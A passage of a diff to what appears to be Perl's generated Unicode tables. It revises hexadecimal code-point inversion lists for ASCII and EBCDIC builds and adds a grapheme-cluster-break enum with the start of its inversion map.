0x17D4, - 0x17D7, - 0x17D8, - 0x17DB, - 0x1800, - 0x1806, - 0x1807, - 0x180B, - 0x1944, - 0x1946, - 0x1A1E, - 0x1A20, - 0x1AA0, - 0x1AA7, - 0x1AA8, - 0x1AAE, - 0x1B5A, - 0x1B61, - 0x1BFC, - 0x1C00, - 0x1C3B, - 0x1C40, - 0x1C7E, - 0x1C80, - 0x1CC0, - 0x1CC8, - 0x1CD3, - 0x1CD4, - 0x2016, - 0x2018, - 0x2020, - 0x2028, - 0x2030, - 0x2039, - 0x203B, - 0x203F, - 0x2041, - 0x2044, - 0x2047, - 0x2052, - 0x2053, - 0x2054, - 0x2055, - 0x205F, - 0x2CF9, - 0x2CFD, - 0x2CFE, - 0x2D00, - 0x2D70, - 0x2D71, + 0x2D7F, + 0x2D80, + 0x2DE0, 0x2E00, - 0x2E02, - 0x2E06, - 0x2E09, - 0x2E0B, - 0x2E0C, - 0x2E0E, - 0x2E17, - 0x2E18, - 0x2E1A, - 0x2E1B, - 0x2E1C, - 0x2E1E, - 0x2E20, - 0x2E2A, - 0x2E2F, - 0x2E30, - 0x2E3A, - 0x2E3C, - 0x2E40, - 0x2E41, - 0x2E42, - 0x2E43, - 0x2E4A, - 0x3001, - 0x3004, - 0x303D, - 0x303E, - 0x30FB, - 0x30FC, - 0xA4FE, - 0xA500, - 0xA60D, - 0xA610, + 0x302A, + 0x3030, + 0x3099, + 0x309B, + 0xA66F, 0xA673, 0xA674, 0xA67E, - 0xA67F, + 0xA69E, + 0xA6A0, + 0xA6F0, 0xA6F2, - 0xA6F8, - 0xA874, - 0xA878, - 0xA8CE, - 0xA8D0, - 0xA8F8, - 0xA8FB, - 0xA8FC, - 0xA8FD, + 0xA802, + 0xA803, + 0xA806, + 0xA807, + 0xA80B, + 0xA80C, + 0xA823, + 0xA825, + 0xA827, + 0xA828, + 0xA880, + 0xA882, + 0xA8B4, + 0xA8C4, + 0xA8C6, + 0xA8E0, + 0xA8F2, + 0xA926, 0xA92E, - 0xA930, - 0xA95F, + 0xA947, + 0xA952, + 0xA954, 0xA960, + 0xA97D, + 0xA980, + 0xA983, + 0xA984, + 0xA9B3, + 0xA9B4, + 0xA9B6, + 0xA9BA, + 0xA9BC, + 0xA9BD, 0xA9C1, - 0xA9CE, - 0xA9DE, - 0xA9E0, - 0xAA5C, - 0xAA60, - 0xAADE, - 0xAAE0, + 0xA9E5, + 0xA9E6, + 0xAA29, + 0xAA2F, + 0xAA31, + 0xAA33, + 0xAA35, + 0xAA37, + 0xAA43, + 0xAA44, + 0xAA4C, + 0xAA4D, + 0xAA4E, + 0xAA7C, + 0xAA7D, + 0xAAB0, + 0xAAB1, + 0xAAB2, + 0xAAB5, + 0xAAB7, + 0xAAB9, + 0xAABE, + 0xAAC0, + 0xAAC1, + 0xAAC2, + 0xAAEB, + 0xAAEC, + 0xAAEE, 0xAAF0, - 0xAAF2, + 0xAAF5, + 0xAAF6, + 0xAAF7, + 0xABE3, + 0xABE5, + 0xABE6, + 0xABE8, + 0xABE9, 0xABEB, 0xABEC, + 0xABED, + 0xABEE, + 0xAC00, + 0xAC01, + 0xAC1C, + 0xAC1D, + 0xAC38, + 0xAC39, + 0xAC54, + 0xAC55, + 0xAC70, + 0xAC71, + 0xAC8C, + 0xAC8D, + 0xACA8, + 0xACA9, + 0xACC4, + 0xACC5, + 0xACE0, + 0xACE1, + 0xACFC, + 0xACFD, + 0xAD18, + 0xAD19, + 0xAD34, + 0xAD35, + 0xAD50, + 0xAD51, + 0xAD6C, + 0xAD6D, + 0xAD88, + 0xAD89, + 0xADA4, + 0xADA5, + 0xADC0, + 0xADC1, + 0xADDC, + 0xADDD, + 0xADF8, + 0xADF9, + 0xAE14, + 0xAE15, + 0xAE30, + 0xAE31, + 0xAE4C, + 0xAE4D, + 0xAE68, + 0xAE69, + 0xAE84, + 0xAE85, + 0xAEA0, + 0xAEA1, + 0xAEBC, + 0xAEBD, + 0xAED8, + 0xAED9, + 0xAEF4, + 0xAEF5, + 0xAF10, + 0xAF11, + 0xAF2C, + 0xAF2D, + 0xAF48, + 0xAF49, + 0xAF64, + 0xAF65, + 0xAF80, + 0xAF81, + 0xAF9C, + 0xAF9D, + 0xAFB8, + 0xAFB9, + 0xAFD4, + 0xAFD5, + 0xAFF0, + 0xAFF1, + 0xB00C, + 0xB00D, + 0xB028, + 0xB029, + 0xB044, + 0xB045, + 0xB060, + 0xB061, + 0xB07C, + 0xB07D, + 0xB098, + 0xB099, + 0xB0B4, + 0xB0B5, + 0xB0D0, + 0xB0D1, + 0xB0EC, + 0xB0ED, + 0xB108, + 0xB109, + 0xB124, + 0xB125, + 0xB140, + 0xB141, + 0xB15C, + 0xB15D, + 0xB178, + 0xB179, + 0xB194, + 0xB195, + 0xB1B0, + 0xB1B1, + 0xB1CC, + 0xB1CD, + 0xB1E8, + 0xB1E9, + 0xB204, + 0xB205, + 0xB220, + 0xB221, + 0xB23C, + 0xB23D, + 0xB258, + 0xB259, + 0xB274, + 0xB275, + 0xB290, + 0xB291, + 0xB2AC, + 0xB2AD, + 0xB2C8, + 0xB2C9, + 0xB2E4, + 0xB2E5, + 0xB300, + 0xB301, + 0xB31C, + 0xB31D, + 0xB338, + 0xB339, + 0xB354, + 0xB355, + 0xB370, + 0xB371, + 0xB38C, + 0xB38D, + 0xB3A8, + 0xB3A9, + 0xB3C4, + 0xB3C5, + 0xB3E0, + 0xB3E1, + 0xB3FC, + 0xB3FD, + 0xB418, + 0xB419, + 0xB434, + 0xB435, + 0xB450, + 0xB451, + 0xB46C, + 0xB46D, + 0xB488, + 0xB489, + 0xB4A4, + 0xB4A5, + 0xB4C0, + 0xB4C1, + 0xB4DC, + 0xB4DD, + 0xB4F8, + 0xB4F9, + 0xB514, + 0xB515, + 0xB530, + 0xB531, + 0xB54C, + 0xB54D, + 0xB568, + 0xB569, + 0xB584, + 0xB585, + 0xB5A0, + 0xB5A1, + 0xB5BC, + 0xB5BD, + 0xB5D8, + 0xB5D9, + 0xB5F4, + 0xB5F5, + 0xB610, + 0xB611, + 0xB62C, + 0xB62D, + 0xB648, + 0xB649, + 0xB664, + 0xB665, + 0xB680, + 0xB681, + 0xB69C, + 0xB69D, + 0xB6B8, + 0xB6B9, + 0xB6D4, + 0xB6D5, + 0xB6F0, + 0xB6F1, + 0xB70C, + 0xB70D, + 0xB728, + 0xB729, + 0xB744, + 0xB745, + 0xB760, + 0xB761, + 0xB77C, + 0xB77D, + 0xB798, + 0xB799, + 0xB7B4, + 0xB7B5, + 0xB7D0, + 0xB7D1, + 0xB7EC, + 0xB7ED, + 0xB808, + 0xB809, + 0xB824, + 0xB825, + 0xB840, + 0xB841, + 0xB85C, + 0xB85D, + 0xB878, + 0xB879, + 0xB894, + 0xB895, + 0xB8B0, + 0xB8B1, + 0xB8CC, + 0xB8CD, + 0xB8E8, + 0xB8E9, + 0xB904, + 0xB905, + 0xB920, + 0xB921, + 0xB93C, + 0xB93D, + 0xB958, + 0xB959, + 0xB974, + 0xB975, + 0xB990, + 0xB991, + 0xB9AC, + 0xB9AD, + 0xB9C8, + 0xB9C9, + 0xB9E4, + 0xB9E5, + 0xBA00, + 0xBA01, + 0xBA1C, + 0xBA1D, + 0xBA38, + 0xBA39, + 0xBA54, + 0xBA55, + 0xBA70, + 0xBA71, + 0xBA8C, + 0xBA8D, + 0xBAA8, + 0xBAA9, + 0xBAC4, + 0xBAC5, + 0xBAE0, + 0xBAE1, + 0xBAFC, + 0xBAFD, + 0xBB18, + 0xBB19, + 0xBB34, + 0xBB35, + 0xBB50, + 0xBB51, + 0xBB6C, + 0xBB6D, + 0xBB88, + 0xBB89, + 0xBBA4, + 0xBBA5, + 0xBBC0, + 0xBBC1, + 0xBBDC, + 0xBBDD, + 0xBBF8, + 0xBBF9, + 0xBC14, + 0xBC15, + 0xBC30, + 0xBC31, + 0xBC4C, + 0xBC4D, + 0xBC68, + 0xBC69, + 0xBC84, + 0xBC85, + 0xBCA0, + 0xBCA1, + 0xBCBC, + 0xBCBD, + 0xBCD8, + 0xBCD9, + 0xBCF4, + 0xBCF5, + 0xBD10, + 0xBD11, + 0xBD2C, + 0xBD2D, + 0xBD48, + 0xBD49, + 0xBD64, + 0xBD65, + 0xBD80, + 0xBD81, + 0xBD9C, + 0xBD9D, + 0xBDB8, + 0xBDB9, + 0xBDD4, + 0xBDD5, + 0xBDF0, + 0xBDF1, + 0xBE0C, + 0xBE0D, + 0xBE28, + 0xBE29, + 0xBE44, + 0xBE45, + 0xBE60, + 0xBE61, + 0xBE7C, + 0xBE7D, + 0xBE98, + 0xBE99, + 0xBEB4, + 0xBEB5, + 0xBED0, + 0xBED1, + 0xBEEC, + 0xBEED, + 0xBF08, + 0xBF09, + 0xBF24, + 0xBF25, + 0xBF40, + 0xBF41, + 0xBF5C, + 0xBF5D, + 0xBF78, + 0xBF79, + 0xBF94, + 0xBF95, + 0xBFB0, + 0xBFB1, + 0xBFCC, + 0xBFCD, + 0xBFE8, + 0xBFE9, + 0xC004, + 0xC005, + 0xC020, + 0xC021, + 0xC03C, + 0xC03D, + 0xC058, + 0xC059, + 0xC074, + 0xC075, + 0xC090, + 0xC091, + 0xC0AC, + 0xC0AD, + 0xC0C8, + 0xC0C9, + 0xC0E4, + 0xC0E5, + 0xC100, + 0xC101, + 0xC11C, + 0xC11D, + 0xC138, + 0xC139, + 0xC154, + 0xC155, + 0xC170, + 0xC171, + 0xC18C, + 0xC18D, + 0xC1A8, + 0xC1A9, + 0xC1C4, + 0xC1C5, + 0xC1E0, + 0xC1E1, + 0xC1FC, + 0xC1FD, + 0xC218, + 0xC219, + 0xC234, + 0xC235, + 0xC250, + 0xC251, + 0xC26C, + 0xC26D, + 0xC288, + 0xC289, + 0xC2A4, + 0xC2A5, + 0xC2C0, + 0xC2C1, + 0xC2DC, + 0xC2DD, + 0xC2F8, + 0xC2F9, + 0xC314, + 0xC315, + 0xC330, + 0xC331, + 0xC34C, + 0xC34D, + 0xC368, + 0xC369, + 0xC384, + 0xC385, + 0xC3A0, + 0xC3A1, + 0xC3BC, + 0xC3BD, + 0xC3D8, + 0xC3D9, + 0xC3F4, + 0xC3F5, + 0xC410, + 0xC411, + 0xC42C, + 0xC42D, + 0xC448, + 0xC449, + 0xC464, + 0xC465, + 0xC480, + 0xC481, + 0xC49C, + 0xC49D, + 0xC4B8, + 0xC4B9, + 0xC4D4, + 0xC4D5, + 0xC4F0, + 0xC4F1, + 0xC50C, + 0xC50D, + 0xC528, + 0xC529, + 0xC544, + 0xC545, + 0xC560, + 0xC561, + 0xC57C, + 0xC57D, + 0xC598, + 0xC599, + 0xC5B4, + 0xC5B5, + 0xC5D0, + 0xC5D1, + 0xC5EC, + 0xC5ED, + 0xC608, + 0xC609, + 0xC624, + 0xC625, + 0xC640, + 0xC641, + 0xC65C, + 0xC65D, + 0xC678, + 0xC679, + 0xC694, + 0xC695, + 0xC6B0, + 0xC6B1, + 0xC6CC, + 0xC6CD, + 0xC6E8, + 0xC6E9, + 0xC704, + 0xC705, + 0xC720, + 0xC721, + 0xC73C, + 0xC73D, + 0xC758, + 0xC759, + 0xC774, + 0xC775, + 0xC790, + 0xC791, + 0xC7AC, + 0xC7AD, + 0xC7C8, + 0xC7C9, + 0xC7E4, + 0xC7E5, + 0xC800, + 0xC801, + 0xC81C, + 0xC81D, + 0xC838, + 0xC839, + 0xC854, + 0xC855, + 0xC870, + 0xC871, + 0xC88C, + 0xC88D, + 0xC8A8, + 0xC8A9, + 0xC8C4, + 0xC8C5, + 0xC8E0, + 0xC8E1, + 0xC8FC, + 0xC8FD, + 0xC918, + 0xC919, + 0xC934, + 0xC935, + 0xC950, + 0xC951, + 0xC96C, + 0xC96D, + 0xC988, + 0xC989, + 0xC9A4, + 0xC9A5, + 0xC9C0, + 0xC9C1, + 0xC9DC, + 0xC9DD, + 0xC9F8, + 0xC9F9, + 0xCA14, + 0xCA15, + 0xCA30, + 0xCA31, + 0xCA4C, + 0xCA4D, + 0xCA68, + 0xCA69, + 0xCA84, + 0xCA85, + 0xCAA0, + 0xCAA1, + 0xCABC, + 0xCABD, + 0xCAD8, + 0xCAD9, + 0xCAF4, + 0xCAF5, + 0xCB10, + 0xCB11, + 0xCB2C, + 0xCB2D, + 0xCB48, + 0xCB49, + 0xCB64, + 0xCB65, + 0xCB80, + 0xCB81, + 0xCB9C, + 0xCB9D, + 0xCBB8, + 0xCBB9, + 0xCBD4, + 0xCBD5, + 0xCBF0, + 0xCBF1, + 0xCC0C, + 0xCC0D, + 0xCC28, + 0xCC29, + 0xCC44, + 0xCC45, + 0xCC60, + 0xCC61, + 0xCC7C, + 0xCC7D, + 0xCC98, + 0xCC99, + 0xCCB4, + 0xCCB5, + 0xCCD0, + 0xCCD1, + 0xCCEC, + 0xCCED, + 0xCD08, + 0xCD09, + 0xCD24, + 0xCD25, + 0xCD40, + 0xCD41, + 0xCD5C, + 0xCD5D, + 0xCD78, + 0xCD79, + 0xCD94, + 0xCD95, + 0xCDB0, + 0xCDB1, + 0xCDCC, + 0xCDCD, + 0xCDE8, + 0xCDE9, + 0xCE04, + 0xCE05, + 0xCE20, + 0xCE21, + 0xCE3C, + 0xCE3D, + 0xCE58, + 0xCE59, + 0xCE74, + 0xCE75, + 0xCE90, + 0xCE91, + 0xCEAC, + 0xCEAD, + 0xCEC8, + 0xCEC9, + 0xCEE4, + 0xCEE5, + 0xCF00, + 0xCF01, + 0xCF1C, + 0xCF1D, + 0xCF38, + 0xCF39, + 0xCF54, + 0xCF55, + 0xCF70, + 0xCF71, + 0xCF8C, + 0xCF8D, + 0xCFA8, + 0xCFA9, + 0xCFC4, + 0xCFC5, + 0xCFE0, + 0xCFE1, + 0xCFFC, + 0xCFFD, + 0xD018, + 0xD019, + 0xD034, + 0xD035, + 0xD050, + 0xD051, + 0xD06C, + 0xD06D, + 0xD088, + 0xD089, + 0xD0A4, + 0xD0A5, + 0xD0C0, + 0xD0C1, + 0xD0DC, + 0xD0DD, + 0xD0F8, + 0xD0F9, + 0xD114, + 0xD115, + 0xD130, + 0xD131, + 0xD14C, + 0xD14D, + 0xD168, + 0xD169, + 0xD184, + 0xD185, + 0xD1A0, + 0xD1A1, + 0xD1BC, + 0xD1BD, + 0xD1D8, + 0xD1D9, + 0xD1F4, + 0xD1F5, + 0xD210, + 0xD211, + 0xD22C, + 0xD22D, + 0xD248, + 0xD249, + 0xD264, + 0xD265, + 0xD280, + 0xD281, + 0xD29C, + 0xD29D, + 0xD2B8, + 0xD2B9, + 0xD2D4, + 0xD2D5, + 0xD2F0, + 0xD2F1, + 0xD30C, + 0xD30D, + 0xD328, + 0xD329, + 0xD344, + 0xD345, + 0xD360, + 0xD361, + 0xD37C, + 0xD37D, + 0xD398, + 0xD399, + 0xD3B4, + 0xD3B5, + 0xD3D0, + 0xD3D1, + 0xD3EC, + 0xD3ED, + 0xD408, + 0xD409, + 0xD424, + 0xD425, + 0xD440, + 0xD441, + 0xD45C, + 0xD45D, + 0xD478, + 0xD479, + 0xD494, + 0xD495, + 0xD4B0, + 0xD4B1, + 0xD4CC, + 0xD4CD, + 0xD4E8, + 0xD4E9, + 0xD504, + 0xD505, + 0xD520, + 0xD521, + 0xD53C, + 0xD53D, + 0xD558, + 0xD559, + 0xD574, + 0xD575, + 0xD590, + 0xD591, + 0xD5AC, + 0xD5AD, + 0xD5C8, + 0xD5C9, + 0xD5E4, + 0xD5E5, + 0xD600, + 0xD601, + 0xD61C, + 0xD61D, + 0xD638, + 0xD639, + 0xD654, + 0xD655, + 0xD670, + 0xD671, + 0xD68C, + 0xD68D, + 0xD6A8, + 0xD6A9, + 0xD6C4, + 0xD6C5, + 0xD6E0, + 0xD6E1, + 0xD6FC, + 0xD6FD, + 0xD718, + 0xD719, + 0xD734, + 0xD735, + 0xD750, + 0xD751, + 0xD76C, + 0xD76D, + 0xD788, + 0xD789, + 0xD7A4, + 0xD7B0, + 0xD7C7, + 0xD7CB, + 0xD7FC, + 0xD800, + 0xE000, + 0xFB1E, + 0xFB1F, + 0xFE00, 0xFE10, - 0xFE17, - 0xFE19, - 0xFE1A, + 0xFE20, 0xFE30, - 0xFE31, - 0xFE45, - 0xFE47, - 0xFE49, - 0xFE4D, - 0xFE50, - 0xFE53, - 0xFE54, - 0xFE58, - 0xFE5F, - 0xFE62, - 0xFE68, - 0xFE69, - 0xFE6A, - 0xFE6C, - 0xFF01, - 0xFF04, - 0xFF05, - 0xFF08, - 0xFF0A, - 0xFF0B, - 0xFF0C, - 0xFF0D, - 0xFF0E, - 0xFF10, - 0xFF1A, - 0xFF1C, - 0xFF1F, - 0xFF21, - 0xFF3C, - 0xFF3D, - 0xFF61, - 0xFF62, - 0xFF64, - 0xFF66, - 0x10100, - 0x10103, - 0x1039F, - 0x103A0, - 0x103D0, - 0x103D1, - 0x1056F, - 0x10570, - 0x10857, - 0x10858, - 0x1091F, - 0x10920, - 0x1093F, - 0x10940, - 0x10A50, - 0x10A59, - 0x10A7F, - 0x10A80, - 0x10AF0, - 0x10AF7, - 0x10B39, - 0x10B40, - 0x10B99, - 0x10B9D, + 0xFEFF, + 0xFF00, + 0xFF9E, + 0xFFA0, + 0xFFF0, + 0xFFFC, + 0x101FD, + 0x101FE, + 0x102E0, + 0x102E1, + 0x10376, + 0x1037B, + 0x10A01, + 0x10A04, + 0x10A05, + 0x10A07, + 0x10A0C, + 0x10A10, + 0x10A38, + 0x10A3B, + 0x10A3F, + 0x10A40, + 0x10AE5, + 0x10AE7, + 0x11000, + 0x11001, + 0x11002, + 0x11003, + 0x11038, 0x11047, - 0x1104E, + 0x1107F, + 0x11082, + 0x11083, + 0x110B0, + 0x110B3, + 0x110B7, + 0x110B9, 0x110BB, 0x110BD, 0x110BE, - 0x110C2, - 0x11140, - 0x11144, + 0x11100, + 0x11103, + 0x11127, + 0x1112C, + 0x1112D, + 0x11135, + 0x11173, 0x11174, - 0x11176, - 0x111C5, + 0x11180, + 0x11182, + 0x11183, + 0x111B3, + 0x111B6, + 0x111BF, + 0x111C1, + 0x111C2, + 0x111C4, 0x111CA, 0x111CD, - 0x111CE, - 0x111DB, - 0x111DC, - 0x111DD, - 0x111E0, + 0x1122C, + 0x1122F, + 0x11232, + 0x11234, + 0x11235, + 0x11236, 0x11238, 0x1123E, - 0x112A9, - 0x112AA, - 0x1144B, - 0x11450, - 0x1145B, - 0x1145C, - 0x1145D, - 0x1145E, - 0x114C6, - 0x114C7, + 0x1123F, + 0x112DF, + 0x112E0, + 0x112E3, + 0x112EB, + 0x11300, + 0x11302, + 0x11304, + 0x1133C, + 0x1133D, + 0x1133E, + 0x1133F, + 0x11340, + 0x11341, + 0x11345, + 0x11347, + 0x11349, + 0x1134B, + 0x1134E, + 0x11357, + 0x11358, + 0x11362, + 0x11364, + 0x11366, + 0x1136D, + 0x11370, + 0x11375, + 0x11435, + 0x11438, + 0x11440, + 0x11442, + 0x11445, + 0x11446, + 0x11447, + 0x114B0, + 0x114B1, + 0x114B3, + 0x114B9, + 0x114BA, + 0x114BB, + 0x114BD, + 0x114BE, + 0x114BF, + 0x114C1, + 0x114C2, + 0x114C4, + 0x115AF, + 0x115B0, + 0x115B2, + 0x115B6, + 0x115B8, + 0x115BC, + 0x115BE, + 0x115BF, 0x115C1, - 0x115D8, + 0x115DC, + 0x115DE, + 0x11630, + 0x11633, + 0x1163B, + 0x1163D, + 0x1163E, + 0x1163F, 0x11641, - 0x11644, - 0x11660, - 0x1166D, - 0x1173C, - 0x1173F, - 0x11A3F, - 0x11A47, - 0x11A9A, - 0x11A9D, - 0x11A9E, - 0x11AA3, - 0x11C41, - 0x11C46, - 0x11C70, - 0x11C72, - 0x12470, - 0x12475, - 0x16A6E, - 0x16A70, + 0x116AB, + 0x116AC, + 0x116AD, + 0x116AE, + 0x116B0, + 0x116B6, + 0x116B7, + 0x116B8, + 0x1171D, + 0x11720, + 0x11722, + 0x11726, + 0x11727, + 0x1172C, + 0x11C2F, + 0x11C30, + 0x11C37, + 0x11C38, + 0x11C3E, + 0x11C3F, + 0x11C40, + 0x11C92, + 0x11CA8, + 0x11CA9, + 0x11CAA, + 0x11CB1, + 0x11CB2, + 0x11CB4, + 0x11CB5, + 0x11CB7, + 0x16AF0, 0x16AF5, - 0x16AF6, + 0x16B30, 0x16B37, - 0x16B3C, - 0x16B44, - 0x16B45, + 0x16F51, + 0x16F7F, + 0x16F8F, + 0x16F93, + 0x1BC9D, 0x1BC9F, 0x1BCA0, - 0x1DA87, - 0x1DA8C, - 0x1E95E, - 0x1E960 + 0x1BCA4, + 0x1D165, + 0x1D166, + 0x1D167, + 0x1D16A, + 0x1D16D, + 0x1D16E, + 0x1D173, + 0x1D17B, + 0x1D183, + 0x1D185, + 0x1D18C, + 0x1D1AA, + 0x1D1AE, + 0x1D242, + 0x1D245, + 0x1DA00, + 0x1DA37, + 0x1DA3B, + 0x1DA6D, + 0x1DA75, + 0x1DA76, + 0x1DA84, + 0x1DA85, + 0x1DA9B, + 0x1DAA0, + 0x1DAA1, + 0x1DAB0, + 0x1E000, + 0x1E007, + 0x1E008, + 0x1E019, + 0x1E01B, + 0x1E022, + 0x1E023, + 0x1E025, + 0x1E026, + 0x1E02B, + 0x1E8D0, + 0x1E8D7, + 0x1E944, + 0x1E94B, + 0x1F1E6, + 0x1F200, + 0x1F385, + 0x1F386, + 0x1F3C3, + 0x1F3C5, + 0x1F3CA, + 0x1F3CC, + 0x1F3FB, + 0x1F400, + 0x1F442, + 0x1F444, + 0x1F446, + 0x1F451, + 0x1F466, + 0x1F46A, + 0x1F46E, + 0x1F46F, + 0x1F470, + 0x1F479, + 0x1F47C, + 0x1F47D, + 0x1F481, + 0x1F484, + 0x1F485, + 0x1F488, + 0x1F48B, + 0x1F48C, + 0x1F4AA, + 0x1F4AB, + 0x1F575, + 0x1F576, + 0x1F57A, + 0x1F57B, + 0x1F590, + 0x1F591, + 0x1F595, + 0x1F597, + 0x1F5E8, + 0x1F5E9, + 0x1F645, + 0x1F648, + 0x1F64B, + 0x1F650, + 0x1F6A3, + 0x1F6A4, + 0x1F6B4, + 0x1F6B7, + 0x1F6C0, + 0x1F6C1, + 0x1F918, + 0x1F91F, + 0x1F926, + 0x1F927, + 0x1F930, + 0x1F931, + 0x1F933, + 0x1F93A, + 0x1F93C, + 0x1F93F, + 0xE0000, + 0xE0020, + 0xE0080, + 0xE0100, + 0xE01F0, + 0xE1000 }; -# endif /* ASCII/Latin1 */ +#endif /* defined(PERL_IN_PERL_C) */ -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 +#if defined(PERL_IN_REGEXEC_C) -static const UV PL_PO_invlist[] = { /* for EBCDIC 1047 */ - 343, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x4B, - 0x4C, - 0x50, - 0x51, - 0x5A, - 0x5B, - 0x5C, - 0x5D, - 0x5E, - 0x5F, - 0x61, - 0x62, - 0x6B, - 0x6D, - 0x6F, - 0x70, - 0x7A, - 0x7E, - 0x7F, - 0x80, - 0xAA, - 0xAC, - 0xB3, - 0xB4, - 0xB5, - 0xB7, - 0xE0, - 0xE1, - 0x37E, - 0x37F, - 0x387, - 0x388, - 0x55A, - 0x560, - 0x589, - 0x58A, - 0x5C0, - 0x5C1, - 0x5C3, - 0x5C4, - 0x5C6, - 0x5C7, - 0x5F3, - 0x5F5, - 0x609, - 0x60B, - 0x60C, - 0x60E, - 0x61B, - 0x61C, - 0x61E, - 0x620, - 0x66A, - 0x66E, - 0x6D4, - 0x6D5, - 0x700, - 0x70E, - 0x7F7, - 0x7FA, - 0x830, - 0x83F, - 0x85E, - 0x85F, - 0x964, - 0x966, - 0x970, - 0x971, - 0x9FD, - 0x9FE, - 0xAF0, - 0xAF1, - 0xDF4, - 0xDF5, - 0xE4F, - 0xE50, - 0xE5A, - 0xE5C, - 0xF04, - 0xF13, - 0xF14, - 0xF15, - 0xF85, - 0xF86, - 0xFD0, - 0xFD5, - 0xFD9, - 0xFDB, - 0x104A, - 0x1050, - 0x10FB, - 0x10FC, - 0x1360, - 0x1369, - 0x166D, - 0x166F, - 0x16EB, - 0x16EE, - 0x1735, - 0x1737, - 0x17D4, - 0x17D7, - 0x17D8, - 0x17DB, - 0x1800, - 0x1806, - 0x1807, - 0x180B, - 0x1944, - 0x1946, - 0x1A1E, - 0x1A20, - 0x1AA0, - 0x1AA7, - 0x1AA8, - 0x1AAE, - 0x1B5A, - 0x1B61, - 0x1BFC, - 0x1C00, - 0x1C3B, - 0x1C40, - 0x1C7E, - 0x1C80, - 0x1CC0, - 0x1CC8, - 0x1CD3, - 0x1CD4, - 0x2016, - 0x2018, - 0x2020, - 0x2028, - 0x2030, - 0x2039, - 0x203B, - 0x203F, - 0x2041, - 0x2044, - 0x2047, - 0x2052, - 0x2053, - 0x2054, - 0x2055, - 0x205F, - 0x2CF9, - 0x2CFD, - 0x2CFE, - 0x2D00, - 0x2D70, - 0x2D71, - 0x2E00, - 0x2E02, - 0x2E06, - 0x2E09, - 0x2E0B, - 0x2E0C, - 0x2E0E, - 0x2E17, - 0x2E18, - 0x2E1A, - 0x2E1B, - 0x2E1C, - 0x2E1E, - 0x2E20, - 0x2E2A, - 0x2E2F, - 0x2E30, - 0x2E3A, - 0x2E3C, - 0x2E40, - 0x2E41, - 0x2E42, - 0x2E43, - 0x2E4A, - 0x3001, - 0x3004, - 0x303D, - 0x303E, - 0x30FB, - 0x30FC, - 0xA4FE, - 0xA500, - 0xA60D, - 0xA610, - 0xA673, - 0xA674, - 0xA67E, - 0xA67F, - 0xA6F2, - 0xA6F8, - 0xA874, - 0xA878, - 0xA8CE, - 0xA8D0, - 0xA8F8, - 0xA8FB, - 0xA8FC, - 0xA8FD, - 0xA92E, - 0xA930, - 0xA95F, - 0xA960, - 0xA9C1, - 0xA9CE, - 0xA9DE, - 0xA9E0, - 0xAA5C, - 0xAA60, - 0xAADE, - 0xAAE0, - 0xAAF0, - 0xAAF2, - 0xABEB, - 0xABEC, - 0xFE10, - 0xFE17, - 0xFE19, - 0xFE1A, - 0xFE30, - 0xFE31, - 0xFE45, - 0xFE47, - 0xFE49, - 0xFE4D, - 0xFE50, - 0xFE53, - 0xFE54, - 0xFE58, - 0xFE5F, - 0xFE62, - 0xFE68, - 0xFE69, - 0xFE6A, - 0xFE6C, - 0xFF01, - 0xFF04, - 0xFF05, - 0xFF08, - 0xFF0A, - 0xFF0B, - 0xFF0C, - 0xFF0D, - 0xFF0E, - 0xFF10, - 0xFF1A, - 0xFF1C, - 0xFF1F, - 0xFF21, - 0xFF3C, - 0xFF3D, - 0xFF61, - 0xFF62, - 0xFF64, - 0xFF66, - 0x10100, - 0x10103, - 0x1039F, - 0x103A0, - 0x103D0, - 0x103D1, - 0x1056F, - 0x10570, - 0x10857, - 0x10858, - 0x1091F, - 0x10920, - 0x1093F, - 0x10940, - 0x10A50, - 0x10A59, - 0x10A7F, - 0x10A80, - 0x10AF0, - 0x10AF7, - 0x10B39, - 0x10B40, - 0x10B99, - 0x10B9D, - 0x11047, - 0x1104E, - 0x110BB, - 0x110BD, - 0x110BE, - 0x110C2, - 0x11140, - 0x11144, - 0x11174, - 0x11176, - 0x111C5, - 0x111CA, - 0x111CD, - 0x111CE, - 0x111DB, - 0x111DC, - 0x111DD, - 0x111E0, - 0x11238, - 0x1123E, - 0x112A9, - 0x112AA, - 0x1144B, - 0x11450, - 0x1145B, - 0x1145C, - 0x1145D, - 0x1145E, - 0x114C6, - 0x114C7, - 0x115C1, - 0x115D8, - 0x11641, - 0x11644, - 0x11660, - 0x1166D, - 0x1173C, - 0x1173F, - 0x11A3F, - 0x11A47, - 0x11A9A, - 0x11A9D, - 0x11A9E, - 0x11AA3, - 0x11C41, - 0x11C46, - 0x11C70, - 0x11C72, - 0x12470, - 0x12475, - 0x16A6E, - 0x16A70, - 0x16AF5, - 0x16AF6, - 0x16B37, - 0x16B3C, - 0x16B44, - 0x16B45, - 0x1BC9F, - 0x1BCA0, - 0x1DA87, - 0x1DA8C, - 0x1E95E, - 0x1E960 +#define GCB_ENUM_COUNT 19 + +typedef enum { + GCB_Other = 0, + GCB_CR = 1, + GCB_Control = 2, + GCB_E_Base = 3, + GCB_E_Base_GAZ = 4, + GCB_E_Modifier = 5, + GCB_Extend = 6, + GCB_Glue_After_Zwj = 7, + GCB_L = 8, + GCB_LF = 9, + GCB_LV = 10, + GCB_LVT = 11, + GCB_Prepend = 12, + GCB_Regional_Indicator = 13, + GCB_SpacingMark = 14, + GCB_T = 15, + GCB_V = 16, + GCB_ZWJ = 17, + GCB_EDGE = 18 +} GCB_enum; + +static const GCB_enum _Perl_GCB_invmap[] = { /* for ASCII/Latin1 */ + GCB_Control, + GCB_LF, + GCB_Control, + GCB_CR, + GCB_Control, + GCB_Other, + GCB_Control, + GCB_Other, + GCB_Control, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Prepend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Control, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Prepend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + 